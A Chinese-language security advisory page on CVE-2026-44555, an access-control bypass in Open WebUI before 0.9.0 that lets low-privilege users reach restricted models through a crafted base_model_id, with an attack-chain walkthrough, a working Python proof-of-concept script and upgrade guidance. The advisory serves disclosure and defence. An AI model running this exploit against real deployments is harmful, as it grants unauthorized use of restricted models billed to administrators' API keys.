IPBUF安全漏洞报告
English
CVE-2026-44555 CVSS 7.6 高危

CVE-2026-44555 Open WebUI 访问控制漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44555
漏洞类型
访问控制漏洞
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

访问控制权限提升Open WebUI逻辑漏洞AI安全

漏洞概述

Open WebUI是一个自托管的人工智能平台,旨在完全离线运行。在0.9.0版本之前,该平台存在严重的访问控制绕过漏洞。系统支持通过base_model_id进行模型组合,允许用户定义的模型引用现有的基础模型。然而,当用户查询组合模型时,访问控制管道仅验证用户对组合模型的访问权限,却未重新验证对链接的基础模型的访问权限。此外,模型创建和导入端点接受任意base_model_id值,且不检查调用者是否拥有该基础模型的访问权限。这导致拥有默认模型创建权限的任何用户都可以创建链接到受限基础模型的模型,并利用管理员配置的API密钥调用它。

技术细节

该漏洞的核心在于Open WebUI的模型组合逻辑中缺乏对链式模型的二次权限校验。在受影响版本中,系统允许用户在创建自定义模型时指定任意的`base_model_id`。攻击者首先利用模型创建端点,将`base_model_id`设置为目标环境中的受限模型(例如仅管理员可用的“gpt-4-turbo-restricted”)。由于系统未验证用户是否有权使用该Base Model ID,创建操作成功。随后,当攻击者向自己创建的自定义模型发起推理请求时,后端仅检查攻击者对自定义模型的权限,随后直接将请求转发给底层的受限模型。此时,服务器使用管理员配置的凭证去访问受限模型,从而导致了权限提升,使得低权限用户可以非法使用受限资源。

攻击链分析

STEP 1
侦察
攻击者枚举系统中可用的模型ID,识别出仅限管理员或高权限用户使用的受限基础模型(如gpt-4-turbo-restricted)。
STEP 2
模型创建
攻击者利用模型创建接口,创建一个新的自定义模型,并将其base_model_id参数设置为上一步识别出的受限模型ID。由于系统未校验base_model_id的访问权限,创建成功。
STEP 3
权限绕过
攻击者向自己创建的自定义模型发送推理请求。系统验证攻击者拥有自定义模型的权限后,将请求转发给底层受限模型。
STEP 4
非授权访问
服务器使用管理员配置的API密钥调用受限模型执行推理,攻击者成功获取到高权限模型的响应结果,实现权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration TARGET_URL = "http://localhost:3000" API_KEY = "user_low_privilege_token" # Low privilege user token RESTRICTED_MODEL_ID = "gpt-4-admin-only" # ID of the restricted model headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Step 1: Create a malicious model linking to the restricted base model # The vulnerability allows arbitrary base_model_id without permission check model_payload = { "id": "attack-model-proxy", "name": "Attack Proxy", "base_model_id": RESTRICTED_MODEL_ID, "description": "Proxy model to bypass ACL" } print("[*] Creating malicious model...") create_resp = requests.post(f"{TARGET_URL}/api/models/create", json=model_payload, headers=headers) if create_resp.status_code == 200: print("[+] Malicious model created successfully.") # Step 2: Invoke the restricted model via the created proxy chat_payload = { "model": "attack-model-proxy", "messages": [{ "role": "user", "content": "Hello, can you access restricted data?" }] } print("[*] Sending chat request through proxy...") chat_resp = requests.post(f"{TARGET_URL}/v1/chat/completions", json=chat_payload, headers=headers) if chat_resp.status_code == 200: print("[+] Exploit successful! Response from restricted model:") print(json.dumps(chat_resp.json(), indent=2)) else: print(f"[-] Request failed: {chat_resp.text}") else: print(f"[-] Model creation failed: {create_resp.text}")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即将Open WebUI升级到0.9.0或更高版本以修复此漏洞。如果无法立即升级,应作为临时缓解措施,撤销普通用户的模型创建和导入权限,仅保留管理员账户拥有此权限,从而阻止攻击者创建恶意的代理模型。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表